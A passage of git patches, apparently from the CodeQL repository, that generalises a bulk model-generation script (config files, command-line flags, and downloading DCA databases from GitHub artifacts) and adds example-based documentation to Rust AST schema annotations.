- }, - { - "name": "rand", - "git_repo": "https://github.com/rust-random/rand", - "git_tag": "0.9.1", - }, - { - "name": "smallvec", - "git_repo": "https://github.com/servo/rust-smallvec", - "git_tag": "v1.15.0", - }, - { - "name": "serde", - "git_repo": "https://github.com/serde-rs/serde", - "git_tag": "v1.0.219", - }, - { - "name": "tokio", - "git_repo": "https://github.com/tokio-rs/tokio", - "git_tag": "tokio-1.45.0", - }, - { - "name": "reqwest", - "git_repo": "https://github.com/seanmonstar/reqwest", - "git_tag": "v0.12.15", - }, - { - "name": "rocket", - "git_repo": "https://github.com/SergioBenitez/Rocket", - "git_tag": "v0.5.1", - }, - { - "name": "actix-web", - "git_repo": "https://github.com/actix/actix-web", - "git_tag": "web-v4.11.0", - }, - { - "name": "hyper", - "git_repo": "https://github.com/hyperium/hyper", - "git_tag": "v1.6.0", - }, - { - "name": "clap", - "git_repo": "https://github.com/clap-rs/clap", - "git_tag": "v4.5.38", - }, -] - - def clone_project(project: Project) -> str: """ Shallow clone a project into the build directory. diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json new file mode 100644 index 000000000000..e7efddfe5b85 --- /dev/null +++ b/rust/misc/bulk_generation_targets.json @@ -0,0 +1,69 @@ +{ + "targets": [ + { + "name": "libc", + "git_repo": "https://github.com/rust-lang/libc", + "git_tag": "0.2.172" + }, + { + "name": "log", + "git_repo": "https://github.com/rust-lang/log", + "git_tag": "0.4.27" + }, + { + "name": "memchr", + "git_repo": "https://github.com/BurntSushi/memchr", + "git_tag": "2.7.4" + }, + { + "name": "once_cell", + "git_repo": "https://github.com/matklad/once_cell", + "git_tag": "v1.21.3" + }, + { + "name": "rand", + "git_repo": "https://github.com/rust-random/rand", + "git_tag": "0.9.1" + }, + { + "name": "smallvec", + "git_repo": "https://github.com/servo/rust-smallvec", + "git_tag": "v1.15.0" + }, + { + "name": "serde", + "git_repo": "https://github.com/serde-rs/serde", + "git_tag": "v1.0.219" + }, + { + "name": "tokio", + "git_repo": "https://github.com/tokio-rs/tokio", + "git_tag": "tokio-1.45.0" + }, + { + "name": "reqwest", + "git_repo": "https://github.com/seanmonstar/reqwest", + "git_tag": "v0.12.15" + }, + { + "name": "rocket", + "git_repo": "https://github.com/SergioBenitez/Rocket", + "git_tag": "v0.5.1" + }, + { + "name": "actix-web", + "git_repo": "https://github.com/actix/actix-web", + "git_tag": "web-v4.11.0" + }, + { + "name": "hyper", + "git_repo": "https://github.com/hyperium/hyper", + "git_tag": "v1.6.0" + }, + { + "name": "clap", + "git_repo": "https://github.com/clap-rs/clap", + "git_tag": "v4.5.38" + } + ] +} \ No newline at end of file From 6ff2bebbc2e939d82917a2b00a9d10ffef4f14f2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:11:20 +0100 Subject: [PATCH 444/535] Bulk generator: Add command-line arguments. --- .../models-as-data/rust_bulk_generate_mad.py | 22 ++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py index 48c5c362fec5..48d7bf68d418 100644 --- a/misc/scripts/models-as-data/rust_bulk_generate_mad.py +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -268,4 +268,24 @@ def main() -> None: if __name__ == "__main__": - main() + parser = argparse.ArgumentParser() + parser.add_argument("--config", type=str, help="Path to the configuration file.", required=True) + parser.add_argument("--lang", type=str, help="The language to generate models for", required=True) + parser.add_argument("--with-sources", action="store_true", help="Generate sources", required=False) + parser.add_argument("--with-sinks", action="store_true", help="Generate sinks", required=False) + parser.add_argument("--with-summaries", action="store_true", help="Generate sinks", required=False) + args = parser.parse_args() + + # Load config file + config = {} + if not os.path.exists(args.config): + print(f"ERROR: Config file '{args.config}' does not exist.") + sys.exit(1) + try: + with open(args.config, "r") as f: + config = json.load(f) + except json.JSONDecodeError as e: + print(f"ERROR: Failed to parse JSON file {args.config}: {e}") + sys.exit(1) + + main(config, args) From e721fc07aaef1ef91bff825dc95aa5c18176e3b4 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:17:15 +0100 Subject: [PATCH 445/535] Bulk generator: Prepare for adding DCA support. This commits just generalizes the existing functionality to be independent of Rust and instead depend on the configuration file and the command-line arguments. --- .../models-as-data/rust_bulk_generate_mad.py | 103 +++++++++++------- rust/misc/bulk_generation_targets.json | 5 + 2 files changed, 68 insertions(+), 40 deletions(-) diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py index 48d7bf68d418..0524a7179758 100644 --- a/misc/scripts/models-as-data/rust_bulk_generate_mad.py +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -26,15 +26,10 @@ ) build_dir = os.path.join(gitroot, "mad-generation-build") - -def path_to_mad_directory(language: str, name: str) -> str: - return os.path.join(gitroot, f"{language}/ql/lib/ext/generated/{name}") - - # A project to generate models for class Project(TypedDict): """ - Type definition for Rust projects to model. + Type definition for projects (acquired via a GitHub repo) to model. Attributes: name: The name of the project @@ -139,13 +134,15 @@ def clone_projects(projects: List[Project]) -> List[tuple[Project, str]]: return project_dirs -def build_database(project: Project, project_dir: str) -> str | None: +def build_database(language: str, extractor_options, project: Project, project_dir: str) -> str | None: """ Build a CodeQL database for a project. Args: + language: The language for which to build the database (e.g., "rust"). + extractor_options: Additional options for the extractor. project: A dictionary containing project information with 'name' and 'git_repo' keys. - project_dir: The directory containing the project source code. + project_dir: Path to the CodeQL database. Returns: The path to the created database directory. @@ -158,17 +155,17 @@ def build_database(project: Project, project_dir: str) -> str | None: # Only build the database if it doesn't already exist if not os.path.exists(database_dir): print(f"Building CodeQL database for {name}...") + extractor_options = [option for x in extractor_options for option in ("-O", x)] try: subprocess.check_call( [ "codeql", "database", "create", - "--language=rust", + f"--language={language}", "--source-root=" + project_dir, "--overwrite", - "-O", - "cargo_features='*'", + *extractor_options, "--", database_dir, ] @@ -184,40 +181,72 @@ def build_database(project: Project, project_dir: str) -> str | None: return database_dir - -def generate_models(project: Project, database_dir: str) -> None: +def generate_models(args, name: str, database_dir: str) -> None: """ Generate models for a project. Args: - project: A dictionary containing project information with 'name' and 'git_repo' keys. - project_dir: The directory containing the project source code. + args: Command line arguments passed to this script. + name: The name of the project. + database_dir: Path to the CodeQL database. """ - name = project["name"] - generator = mad.Generator("rust") - generator.generateSinks = True - generator.generateSources = True - generator.generateSummaries = True + generator = mad.Generator(args.lang) + generator.generateSinks = args.with_sinks + generator.generateSources = args.with_sources + generator.generateSummaries = args.with_summaries generator.setenvironment(database=database_dir, folder=name) generator.run() +def build_databases_from_projects(language: str, extractor_options, projects: List[Project]) -> List[tuple[str, str | None]]: + """ + Build databases for all projects in parallel. + + Args: + language: The language for which to build the databases (e.g., "rust"). + extractor_options: Additional options for the extractor. + projects: List of projects to build databases for. + + Returns: + List of (project_name, database_dir) pairs, where database_dir is None if the build failed. + """ + # Phase 1: Clone projects in parallel + print("=== Phase 1: Cloning projects ===") + project_dirs = clone_projects(projects) + + # Phase 2: Build databases for all projects + print("\n=== Phase 2: Building databases ===") + database_results = [ + (project["name"], build_database(language, extractor_options, project, project_dir)) + for project, project_dir in project_dirs + ] + return database_results + +def get_destination_for_project(config, name: str) -> str: + return os.path.join(config["destination"], name) + +def get_strategy(config) -> str: + return config["strategy"].lower() -def main() -> None: +def main(config, args) -> None: """ - Process all projects in three distinct phases: - 1. Clone projects (in parallel) - 2. Build databases for projects - 3. Generate models for successful database builds + Main function to handle the bulk generation of MaD models. + Args: + config: Configuration dictionary containing project details and other settings. + args: Command line arguments passed to this script. """ + projects = config["targets"] + destination = config["destination"] + language = args.lang + # Create build directory if it doesn't exist if not os.path.exists(build_dir): os.makedirs(build_dir) # Check if any of the MaD directories contain working directory changes in git for project in projects: - mad_dir = path_to_mad_directory("rust", project["name"]) + mad_dir = get_destination_for_project(config, project["name"]) if os.path.exists(mad_dir): git_status_output = subprocess.check_output( ["git", "status", "-s", mad_dir], text=True @@ -232,22 +261,17 @@ def main() -> None: ) sys.exit(1) - # Phase 1: Clone projects in parallel - print("=== Phase 1: Cloning projects ===") - project_dirs = clone_projects(projects) - - # Phase 2: Build databases for all projects - print("\n=== Phase 2: Building databases ===") - database_results = [ - (project, build_database(project, project_dir)) - for project, project_dir in project_dirs - ] + database_results = [] + match get_strategy(config): + case "repo": + extractor_options = config.get("extractor_options", []) + database_results = build_databases_from_projects(language, extractor_options, projects) # Phase 3: Generate models for all projects print("\n=== Phase 3: Generating models ===") failed_builds = [ - project["name"] for project, db_dir in database_results if db_dir is None + project for project, db_dir in database_results if db_dir is None ] if failed_builds: print( @@ -257,15 +281,14 @@ def main() -> None: # Delete the MaD directory for each project for project, database_dir in database_results: - mad_dir = path_to_mad_directory("rust", project["name"]) + mad_dir = get_destination_for_project(config, project) if os.path.exists(mad_dir): print(f"Deleting existing MaD directory at {mad_dir}") subprocess.check_call(["rm", "-rf", mad_dir]) for project, database_dir in database_results: if database_dir is not None: - generate_models(project, database_dir) - + generate_models(args, project, database_dir) if __name__ == "__main__": parser = argparse.ArgumentParser() diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json index e7efddfe5b85..ca30b76eb12e 100644 --- a/rust/misc/bulk_generation_targets.json +++ b/rust/misc/bulk_generation_targets.json @@ -1,4 +1,5 @@ { + "strategy": "repo", "targets": [ { "name": "libc", @@ -65,5 +66,9 @@ "git_repo": "https://github.com/clap-rs/clap", "git_tag": "v4.5.38" } + ], + "destination": "rust/ql/lib/ext/generated", + "extractor_options": [ + "cargo_features='*'" ] } \ No newline at end of file From 5051790e24d2fceb7902fbf4dac06d16f4afd4aa Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:20:18 +0100 Subject: [PATCH 446/535] Bulk generator: Add DCA support. --- cpp/misc/bulk_generation_targets.json | 8 ++ .../models-as-data/rust_bulk_generate_mad.py | 122 +++++++++++++++++- 2 files changed, 128 insertions(+), 2 deletions(-) create mode 100644 cpp/misc/bulk_generation_targets.json diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json new file mode 100644 index 000000000000..5f74b094d35a --- /dev/null +++ b/cpp/misc/bulk_generation_targets.json @@ -0,0 +1,8 @@ +{ + "strategy": "dca", + "targets": [ + { "name": "openssl" }, + { "name": "sqlite" } + ], + "destination": "cpp/ql/lib/ext/generated" +} \ No newline at end of file diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py index 0524a7179758..922deaa7627f 100644 --- a/misc/scripts/models-as-data/rust_bulk_generate_mad.py +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -1,7 +1,5 @@ """ Experimental script for bulk generation of MaD models based on a list of projects. - -Currently the script only targets Rust. """ import os.path @@ -221,6 +219,114 @@ def build_databases_from_projects(language: str, extractor_options, projects: Li for project, project_dir in project_dirs ] return database_results + +def github(url: str, pat: str, extra_headers: dict[str, str] = {}) -> dict: + """ + Download a JSON file from GitHub using a personal access token (PAT). + Args: + url: The URL to download the JSON file from. + pat: Personal Access Token for GitHub API authentication. + extra_headers: Additional headers to include in the request. + Returns: + The JSON response as a dictionary. + """ + headers = { "Authorization": f"token {pat}" } | extra_headers + response = requests.get(url, headers=headers) + if response.status_code != 200: + print(f"Failed to download JSON: {response.status_code} {response.text}") + sys.exit(1) + else: + return response.json() + +def download_artifact(url: str, artifact_name: str, pat: str) -> str: + """ + Download a GitHub Actions artifact from a given URL. + Args: + url: The URL to download the artifact from. + artifact_name: The name of the artifact (used for naming the downloaded file). + pat: Personal Access Token for GitHub API authentication. + Returns: + The path to the downloaded artifact file. + """ + headers = { "Authorization": f"token {pat}", "Accept": "application/vnd.github+json" } + response = requests.get(url, stream=True, headers=headers) + zipName = artifact_name + ".zip" + if response.status_code == 200: + target_zip = os.path.join(build_dir, zipName) + with open(target_zip, "wb") as file: + for chunk in response.iter_content(chunk_size=8192): + file.write(chunk) + print(f"Download complete: {target_zip}") + return target_zip + else: + print(f"Failed to download file. Status code: {response.status_code}") + sys.exit(1) + +def remove_extension(filename: str) -> str: + while "." in filename: + filename, _ = os.path.splitext(filename) + return filename + +def pretty_name_from_artifact_name(artifact_name: str) -> str: + return artifact_name.split("___")[1] + +def download_dca_databases(experiment_name: str, pat: str, projects) -> List[tuple[str, str | None]]: + """ + Download databases from a DCA experiment. + Args: + experiment_name: The name of the DCA experiment to download databases from. + pat: Personal Access Token for GitHub API authentication. + projects: List of projects to download databases for. + Returns: + List of (project_name, database_dir) pairs, where database_dir is None if the download failed. + """ + database_results = [] + print("\n=== Finding projects ===") + response = github(f"https://raw.githubusercontent.com/github/codeql-dca-main/data/{experiment_name}/reports/downloads.json", pat) + targets = response["targets"] + for target, data in targets.items(): + downloads = data["downloads"] + analyzed_database = downloads["analyzed_database"] + artifact_name = analyzed_database["artifact_name"] + pretty_name = pretty_name_from_artifact_name(artifact_name) + + if not pretty_name in [project["name"] for project in projects]: + print(f"Skipping {pretty_name} as it is not in the list of projects") + continue + + repository = analyzed_database["repository"] + run_id = analyzed_database["run_id"] + print(f"=== Finding artifact: {artifact_name} ===") + response = github(f"https://api.github.com/repos/{repository}/actions/runs/{run_id}/artifacts", pat, { "Accept": "application/vnd.github+json" }) + artifacts = response["artifacts"] + artifact_map = {artifact["name"]: artifact for artifact in artifacts} + print(f"=== Downloading artifact: {artifact_name} ===") + archive_download_url = artifact_map[artifact_name]["archive_download_url"] + artifact_zip_location = download_artifact(archive_download_url, artifact_name, pat) + print(f"=== Extracting artifact: {artifact_name} ===") + # The database is in a zip file, which contains a tar.gz file with the DB + # First we open the zip file + with zipfile.ZipFile(artifact_zip_location, 'r') as zip_ref: + artifact_unzipped_location = os.path.join(build_dir, artifact_name) + # And then we extract it to build_dir/artifact_name + zip_ref.extractall(artifact_unzipped_location) + # And then we iterate over the contents of the extracted directory + # and extract the tar.gz files inside it + for entry in os.listdir(artifact_unzipped_location): + artifact_tar_location = os.path.join(artifact_unzipped_location, entry) + with tarfile.open(artifact_tar_location, "r:gz") as tar_ref: + # And we just untar it to the same directory as the zip file + tar_ref.extractall(artifact_unzipped_location) + database_results.append((pretty_name, os.path.join(artifact_unzipped_location, remove_extension(entry)))) + print(f"\n=== Extracted {len(database_results)} databases ===") + + def compare(a, b): + a_index = next(i for i, project in enumerate(projects) if project["name"] == a[0]) + b_index = next(i for i, project in enumerate(projects) if project["name"] == b[0]) + return a_index - b_index + + # Sort the database results based on the order in the projects file + return sorted(database_results, key=cmp_to_key(compare)) def get_destination_for_project(config, name: str) -> str: return os.path.join(config["destination"], name) @@ -266,6 +372,16 @@ def main(config, args) -> None: case "repo": extractor_options = config.get("extractor_options", []) database_results = build_databases_from_projects(language, extractor_options, projects) + case "dca": + experiment_name = args.dca + if experiment_name is None: + print("ERROR: --dca argument is required for DCA strategy") + sys.exit(1) + pat = args.pat + if pat is None: + print("ERROR: --pat argument is required for DCA strategy") + sys.exit(1) + database_results = download_dca_databases(experiment_name, pat, projects) # Phase 3: Generate models for all projects print("\n=== Phase 3: Generating models ===") @@ -293,6 +409,8 @@ def main(config, args) -> None: if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--config", type=str, help="Path to the configuration file.", required=True) + parser.add_argument("--dca", type=str, help="Name of a DCA run that built all the projects", required=False) + parser.add_argument("--pat", type=str, help="PAT token to grab DCA databases (the same as the one you use for DCA)", required=False) parser.add_argument("--lang", type=str, help="The language to generate models for", required=True) parser.add_argument("--with-sources", action="store_true", help="Generate sources", required=False) parser.add_argument("--with-sinks", action="store_true", help="Generate sinks", required=False) From cb938701a14d693733c5759604c37246d391153e Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:48:19 +0100 Subject: [PATCH 447/535] Bulk generator: Rename file since it is no longer Rust specific. --- .../{rust_bulk_generate_mad.py => bulk_generate_mad.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename misc/scripts/models-as-data/{rust_bulk_generate_mad.py => bulk_generate_mad.py} (100%) diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py similarity index 100% rename from misc/scripts/models-as-data/rust_bulk_generate_mad.py rename to misc/scripts/models-as-data/bulk_generate_mad.py From 460984bee55fd1f3772a79b2b7fbfe3a98ec2ce8 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 29 May 2025 18:52:49 +0200 Subject: [PATCH 448/535] Rust: add documentation for AST nodes --- rust/schema/annotations.py | 596 +++++++++++++++++++++++++++---------- 1 file changed, 435 insertions(+), 161 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 2c0aca47fc04..6e76e92d7987 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -868,9 +868,12 @@ class _: @annotate(Abi) class _: """ - A Abi. For example: + An ABI specification for an extern function or block. + + For example: ```rust - todo!() + extern "C" fn foo() {} + // ^^^ ``` """ @@ -878,9 +881,12 @@ class _: @annotate(ArgList) class _: """ - A ArgList. For example: + A list of arguments in a function or method call. + + For example: ```rust - todo!() + foo(1, 2, 3); + // ^^^^^^^^^ ``` """ @@ -888,9 +894,12 @@ class _: @annotate(ArrayTypeRepr) class _: """ - A ArrayTypeRepr. For example: + An array type representation. + + For example: ```rust - todo!() + let arr: [i32; 4]; + // ^^^^^^^^ ``` """ @@ -898,9 +907,12 @@ class _: @annotate(AssocItem) class _: """ - A AssocItem. For example: + An associated item in a `Trait` or `Impl`. + + For example: ```rust - todo!() + trait T {fn foo(&self);} + // ^^^^^^^^^^^^^ ``` """ @@ -909,16 +921,19 @@ class _: @qltest.test_with(Trait) class _: """ - A list of `AssocItem` elements, as appearing for example in a `Trait`. + A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. """ @annotate(AssocTypeArg) class _: """ - A AssocTypeArg. For example: + An associated type argument in a path. + + For example: ```rust - todo!() + ::Item + // ^^^^ ``` """ @@ -926,9 +941,13 @@ class _: @annotate(Attr) class _: """ - A Attr. For example: + An attribute applied to an item. + + For example: ```rust - todo!() + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; ``` """ @@ -936,9 +955,12 @@ class _: @annotate(ClosureBinder) class _: """ - A ClosureBinder. For example: + A closure binder, specifying lifetime or type parameters for a closure. + + For example: ```rust - todo!() + for <'a> |x: &'a u32 | x + // ^^^^^^ ``` """ @@ -946,9 +968,11 @@ class _: @annotate(Const) class _: """ - A Const. For example: + A constant item declaration. + + For example: ```rust - todo!() + const X: i32 = 42; ``` """ @@ -956,9 +980,12 @@ class _: @annotate(ConstArg) class _: """ - A ConstArg. For example: + A constant argument in a generic argument list. + + For example: ```rust - todo!() + Foo::<3> + // ^ ``` """ @@ -966,9 +993,12 @@ class _: @annotate(ConstParam) class _: """ - A ConstParam. For example: + A constant parameter in a generic parameter list. + + For example: ```rust - todo!() + struct Foo ; + // ^^^^^^^^^^^^^^ ``` """ @@ -976,9 +1006,12 @@ class _: @annotate(DynTraitTypeRepr) class _: """ - A DynTraitTypeRepr. For example: + A dynamic trait object type. + + For example: ```rust - todo!() + let x: &dyn Debug; + // ^^^^^^^^^ ``` """ @@ -986,9 +1019,11 @@ class _: @annotate(Enum) class _: """ - A Enum. For example: + An enum declaration. + + For example: ```rust - todo!() + enum E {A, B(i32), C {x: i32}} ``` """ @@ -996,9 +1031,13 @@ class _: @annotate(ExternBlock) class _: """ - A ExternBlock. For example: + An extern block containing foreign function declarations. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + } ``` """ @@ -1006,9 +1045,11 @@ class _: @annotate(ExternCrate) class _: """ - A ExternCrate. For example: + An extern crate declaration. + + For example: ```rust - todo!() + extern crate serde; ``` """ @@ -1016,9 +1057,14 @@ class _: @annotate(ExternItem) class _: """ - A ExternItem. For example: + An item inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ @@ -1026,20 +1072,29 @@ class _: @annotate(ExternItemList) class _: """ - A ExternItemList. For example: + A list of items inside an extern block. + + For example: ```rust - todo!() + extern "C" { + fn foo(); + static BAR: i32; + } ``` """ -# @annotate(VariantFieldList) @annotate(FieldList) class _: """ - A field of a variant. For example: + A list of fields in a struct or enum variant. + + For example: ```rust - todo!() + struct S {x: i32, y: i32} + // ^^^^^^^^^^^^^^^^ + enum E {A(i32, i32)} + // ^^^^^^^^^^^^^ ``` """ @@ -1047,9 +1102,12 @@ class _: @annotate(FnPtrTypeRepr) class _: """ - A FnPtrTypeRepr. For example: + A function pointer type. + + For example: ```rust - todo!() + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ ``` """ @@ -1057,9 +1115,13 @@ class _: @annotate(ForExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A ForExpr. For example: + A for loop expression. + + For example: ```rust - todo!() + for x in 0..10 { + println!("{}", x); + } ``` """ label: drop @@ -1069,9 +1131,12 @@ class _: @annotate(ForTypeRepr) class _: """ - A ForTypeRepr. For example: + A higher-ranked trait bound(HRTB) type. + + For example: ```rust - todo!() + for <'a> fn(&'a str) + // ^^^^^ ``` """ @@ -1105,9 +1170,12 @@ class _: @annotate(GenericArg) class _: """ - A GenericArg. For example: + A generic argument in a generic argument list. + + For example: ```rust - todo!() + Foo:: + // ^^^^^^^^^^^ ``` """ @@ -1115,9 +1183,12 @@ class _: @annotate(GenericParam) class _: """ - A GenericParam. For example: + A generic parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T, u: U) {} + // ^ ^ ``` """ @@ -1138,9 +1209,13 @@ class _: @annotate(Impl) class _: """ - A Impl. For example: + An `impl`` block. + + For example: ```rust - todo!() + impl MyTrait for MyType { + fn foo(&self) {} + } ``` """ @@ -1148,9 +1223,12 @@ class _: @annotate(ImplTraitTypeRepr) class _: """ - A ImplTraitTypeRepr. For example: + An `impl Trait` type. + + For example: ```rust - todo!() + fn foo() -> impl Iterator { 0..10 } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^ ``` """ @@ -1158,9 +1236,12 @@ class _: @annotate(InferTypeRepr) class _: """ - A InferTypeRepr. For example: + An inferred type (`_`). + + For example: ```rust - todo!() + let x: _ = 42; + // ^ ``` """ @@ -1168,9 +1249,13 @@ class _: @annotate(Item, add_bases=(Addressable,)) class _: """ - A Item. For example: + An item such as a function, struct, enum, etc. + + For example: ```rust - todo!() + fn foo() {} + struct S; + enum E {} ``` """ attribute_macro_expansion: optional[MacroItems] | child | rust.detach @@ -1179,9 +1264,14 @@ class _: @annotate(ItemList) class _: """ - A ItemList. For example: + A list of items in a module or block. + + For example: ```rust - todo!() + mod m { + fn foo() {} + struct S; + } ``` """ @@ -1189,9 +1279,14 @@ class _: @annotate(LetElse) class _: """ - A LetElse. For example: + An else block in a let-else statement. + + For example: ```rust - todo!() + let Some(x) = opt else { + return; + }; + // ^^^^^^ ``` """ @@ -1199,9 +1294,12 @@ class _: @annotate(Lifetime) class _: """ - A Lifetime. For example: + A lifetime annotation. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ^^ ``` """ @@ -1209,9 +1307,12 @@ class _: @annotate(LifetimeArg) class _: """ - A LifetimeArg. For example: + A lifetime argument in a generic argument list. + + For example: ```rust - todo!() + Foo<'a> + // ^^ ``` """ @@ -1219,9 +1320,12 @@ class _: @annotate(LifetimeParam) class _: """ - A LifetimeParam. For example: + A lifetime parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo<'a>(x: &'a str) {} + // ^^ ``` """ @@ -1229,9 +1333,12 @@ class _: @annotate(MacroCall, cfg=True) class _: """ - A MacroCall. For example: + A macro invocation. + + For example: ```rust - todo!() + println!("Hello, world!"); + //^^^^^^^ ``` """ macro_call_expansion: optional[AstNode] | child | rust.detach @@ -1240,9 +1347,13 @@ class _: @annotate(MacroDef) class _: """ - A MacroDef. For example: + A macro definition. + + For example: ```rust - todo!() + todo!(); + + ``` """ @@ -1291,9 +1402,13 @@ class _: @annotate(MacroRules) class _: """ - A MacroRules. For example: + A macro definition using the `macro_rules!` syntax. ```rust - todo!() + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } ``` """ @@ -1314,9 +1429,12 @@ class _: @annotate(MacroTypeRepr) class _: """ - A MacroTypeRepr. For example: + A type produced by a macro. + + For example: ```rust - todo!() + type T = macro_type!(); + // ^^^^^^^^^^^^^ ``` """ @@ -1324,9 +1442,16 @@ class _: @annotate(MatchArmList) class _: """ - A MatchArmList. For example: + A list of arms in a match expression. + + For example: ```rust - todo!() + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ ``` """ @@ -1334,9 +1459,15 @@ class _: @annotate(MatchGuard) class _: """ - A MatchGuard. For example: + A guard condition in a match arm. + + For example: ```rust - todo!() + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } ``` """ @@ -1344,9 +1475,12 @@ class _: @annotate(Meta) class _: """ - A Meta. For example: + A meta item in an attribute. + + For example: ```rust - todo!() + #[cfg(feature = "foo")] + // ^^^^^^^^^^^^^^^ ``` """ @@ -1354,9 +1488,12 @@ class _: @annotate(Name, cfg=True) class _: """ - A Name. For example: + An identifier name. + + For example: ```rust - todo!() + let foo = 1; + // ^^^ ``` """ @@ -1364,9 +1501,12 @@ class _: @annotate(NameRef) class _: """ - A NameRef. For example: + A reference to a name. + + For example: ```rust - todo!() + foo(); + //^^^ ``` """ @@ -1374,9 +1514,12 @@ class _: @annotate(NeverTypeRepr) class _: """ - A NeverTypeRepr. For example: + The never type `!`. + + For example: ```rust - todo!() + fn foo() -> ! { panic!() } + // ^ ``` """ @@ -1421,9 +1564,12 @@ class _: @annotate(ParenExpr) class _: """ - A ParenExpr. For example: + A parenthesized expression. + + For example: ```rust - todo!() + (x + y) + //^^^^^ ``` """ @@ -1431,9 +1577,12 @@ class _: @annotate(ParenPat) class _: """ - A ParenPat. For example: + A parenthesized pattern. + + For example: ```rust - todo!() + let (x) = 1; + // ^^^ ``` """ @@ -1441,9 +1590,12 @@ class _: @annotate(ParenTypeRepr) class _: """ - A ParenTypeRepr. For example: + A parenthesized type. + + For example: ```rust - todo!() + let x: (i32); + // ^^^^^ ``` """ @@ -1453,6 +1605,12 @@ class _: class _: """ A path segment, which is one part of a whole path. + For example: + - `HashMap` + - `HashMap` + - `Fn(i32) -> i32` + - `widgets(..)` + - `` """ type_repr: optional["TypeRepr"] | child | rust.detach trait_type_repr: optional["PathTypeRepr"] | child | rust.detach @@ -1462,10 +1620,10 @@ class _: @qltest.test_with(Path) class _: """ - A type referring to a path. For example: + A path referring to a type. For example: ```rust - type X = std::collections::HashMap; - type Y = X::Item; + let x: (i32); + // ^^^ ``` """ @@ -1473,9 +1631,13 @@ class _: @annotate(PtrTypeRepr) class _: """ - A PtrTypeRepr. For example: + A pointer type. + + For example: ```rust - todo!() + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ ``` """ @@ -1483,9 +1645,12 @@ class _: @annotate(StructExprFieldList) class _: """ - A StructExprFieldList. For example: + A list of fields in a struct expression. + + For example: ```rust - todo!() + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ ``` """ @@ -1493,9 +1658,12 @@ class _: @annotate(StructField) class _: """ - A StructField. For example: + A field in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32 } + // ^^^^^^^ ``` """ @@ -1503,9 +1671,12 @@ class _: @annotate(StructFieldList) class _: """ - A field list of a struct expression. For example: + A list of fields in a struct declaration. + + For example: ```rust - todo!() + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ ``` """ @@ -1513,9 +1684,12 @@ class _: @annotate(StructPatFieldList) class _: """ - A StructPatFieldList. For example: + A list of fields in a struct pattern. + + For example: ```rust - todo!() + let Foo { a, b } = foo; + // ^^^^^ ``` """ @@ -1523,9 +1697,13 @@ class _: @annotate(RefTypeRepr) class _: """ - A RefTypeRepr. For example: + A reference type. + + For example: ```rust - todo!() + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ ``` """ @@ -1533,9 +1711,12 @@ class _: @annotate(Rename) class _: """ - A Rename. For example: + A rename in a use declaration. + + For example: ```rust - todo!() + use foo as bar; + // ^^^^^^ ``` """ @@ -1543,9 +1724,12 @@ class _: @annotate(RestPat, cfg=True) class _: """ - A RestPat. For example: + A rest pattern (`..`) in a tuple, slice, or struct pattern. + + For example: ```rust - todo!() + let (a, .., z) = (1, 2, 3); + // ^^ ``` """ @@ -1553,9 +1737,12 @@ class _: @annotate(RetTypeRepr) class _: """ - A RetTypeRepr. For example: + A return type in a function signature. + + For example: ```rust - todo!() + fn foo() -> i32 {} + // ^^^^^^ ``` """ @@ -1563,9 +1750,22 @@ class _: @annotate(ReturnTypeSyntax) class _: """ - A ReturnTypeSyntax. For example: + A return type notation `(..)` to reference or bound the type returned by a trait method + + For example: ```rust - todo!() + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } ``` """ @@ -1593,9 +1793,12 @@ class _: @annotate(SliceTypeRepr) class _: """ - A SliceTypeRepr. For example: + A slice type. + + For example: ```rust - todo!() + let s: &[i32]; + // ^^^^^ ``` """ @@ -1603,9 +1806,12 @@ class _: @annotate(SourceFile) class _: """ - A SourceFile. For example: + A source file. + + For example: ```rust - todo!() + // main.rs + fn main() {} ``` """ @@ -1613,9 